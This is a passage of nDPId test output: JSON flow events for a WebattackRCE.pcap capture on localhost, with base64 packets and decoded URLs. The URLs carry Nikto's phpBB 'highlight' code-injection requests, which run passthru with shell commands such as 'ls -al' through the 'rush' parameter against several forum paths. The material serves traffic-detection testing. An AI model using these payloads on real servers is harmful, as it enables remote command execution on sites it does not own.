+00814{"flow_id":679,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":790564,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"AAAAAAAAAAAAAAAACABFAAFMIAVAAEAGG6V\/AAABfwAAAcboH5Bd5RklMuM7\/YAYAED\/QAAAAQEICp1m\/0adZv9GR0VUIC9mb3J1bS92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkyKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00901{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":679,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":679,"flow_packet_id":1,"flow_first_seen":1576420277790,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50920,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":680,"flow_packet_id":1,"flow_first_seen":1576420277792,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50922,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00838{"flow_id":680,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":792176,"pkt_caplen":365,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":365,"pkt_l4_len":331,"pkt":"AAAAAAAAAAAAAAAACABFAAFfB5NAAEAGNAR\/AAABfwAAAcbqH5CefT66jrIPCIAYAED\/UwAAAQEICp1m\/0idZv9HR0VUIC9pbmRleC5waHA\/bmFtZT1QTnBocEJCMiZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNjQlNjklNzImaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00919{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":680,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":680,"flow_packet_id":1,"flow_first_seen":1576420277792,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50922,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001393)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":681,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":681,"flow_packet_id":1,"flow_first_seen":1576420277794,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50924,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":681,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":794274,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmgStAAEAGumR\/AAABfwAAAcbsH5DtZbgCN0MtSoAYAED\/WgAAAQEICp1m\/0qdZv9KR0VUIC9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTQpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":681,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":681,"flow_packet_id":1,"flow_first_seen":1576420277794,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50924,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001394)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":682,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":682,"flow_packet_id":1,"flow_first_seen":1576420277795,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50926,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":682,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":795943,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmgfFAAEAGuZ5\/AAABfwAAAcbuH5ChILjHXT7L3YAYAED\/WgAAAQEICp1m\/0udZv9LR0VUIC9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5NSkNCg0K"} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":682,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":682,"flow_packet_id":1,"flow_first_seen":1576420277795,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50926,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001395)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":683,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":683,"flow_packet_id":1,"flow_first_seen":1576420277797,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50928,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00817{"flow_id":683,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":797519,"pkt_caplen":349,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":349,"pkt_l4_len":315,"pkt":"AAAAAAAAAAAAAAAACABFAAFPlMhAAEAGpt5\/AAABfwAAAcbwH5AHpq3wv20OaIAYAED\/QwAAAQEICp1m\/02dZv9NR0VUIC92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTYpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00903{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":683,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":683,"flow_packet_id":1,"flow_first_seen":1576420277797,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50928,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001396)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":684,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":684,"flow_packet_id":1,"flow_first_seen":1576420277799,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50930,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":684,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":799339,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFm4IpAAEAGWwV\/AAABfwAAAcbyH5CWqtmi9bUd64AYAED\/WgAAAQEICp1m\/0+dZv9PR0VUIC9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5NykNCg0K"} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":684,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":684,"flow_packet_id":1,"flow_first_seen":1576420277799,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50930,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":685,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":685,"flow_packet_id":1,"flow_first_seen":1576420277800,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50932,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":685,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":800729,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"AAAAAAAAAAAAAAAACABFAAFvelxAAEAGwSp\/AAABfwAAAcb0H5AcBENxXyULZYAYAED\/YwAAAQEICp1m\/1CdZv9QR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTcpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00936{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":685,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":685,"flow_packet_id":1,"flow_first_seen":1576420277800,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50932,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":686,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":686,"flow_packet_id":1,"flow_first_seen":1576420277802,"flow_last_seen":0,"flow_tot_l4_data_len":352,"flow_min_l4_data_len":352,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":352,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50934,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00865{"flow_id":686,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":802030,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"AAAAAAAAAAAAAAAACABFAAF0IClAAEAGG1l\/AAABfwAAAcb2H5CLkRkOnTgF7oAYAED\/aAAAAQEICp1m\/1GdZv9RR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9uYW1lPUZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNmMlNzMlMjAlMmQlNjElNmMmaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk3KQ0KDQo="} +00942{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":686,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":686,"flow_packet_id":1,"flow_first_seen":1576420277802,"flow_last_seen":0,"flow_tot_l4_data_len":352,"flow_min_l4_data_len":352,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":352,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50934,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":687,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":687,"flow_packet_id":1,"flow_first_seen":1576420277803,"flow_last_seen":0,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":346,"flow_max_l4_data_len":346,"flow_avg_l4_data_len":346,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50936,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00857{"flow_id":687,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":803303,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AAAAAAAAAAAAAAAACABFAAFudhVAAEAGxXJ\/AAABfwAAAcb4H5C7R086db2J2oAYAED\/YgAAAQEICp1m\/1OdZv9TR0VUIC9tb2R1bGVzL2luZGV4LnBocD9uYW1lPUZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNmMlNzMlMjAlMmQlNjElNmMmaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5NykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00935{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":687,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":687,"flow_packet_id":1,"flow_first_seen":1576420277803,"flow_last_seen":0,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":346,"flow_max_l4_data_len":346,"flow_avg_l4_data_len":346,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50936,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":688,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":688,"flow_packet_id":1,"flow_first_seen":1576420277804,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50938,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00854{"flow_id":688,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":804748,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFsoC9AAEAGm1p\/AAABfwAAAcb6H5AztpkH42OkkoAYAED\/YAAAAQEICp1m\/1SdZv9UR0VUIC9waHBCQi9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5NykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":688,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":688,"flow_packet_id":1,"flow_first_seen":1576420277804,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50938,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001397)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":689,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":689,"flow_packet_id":1,"flow_first_seen":1576420277807,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50940,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 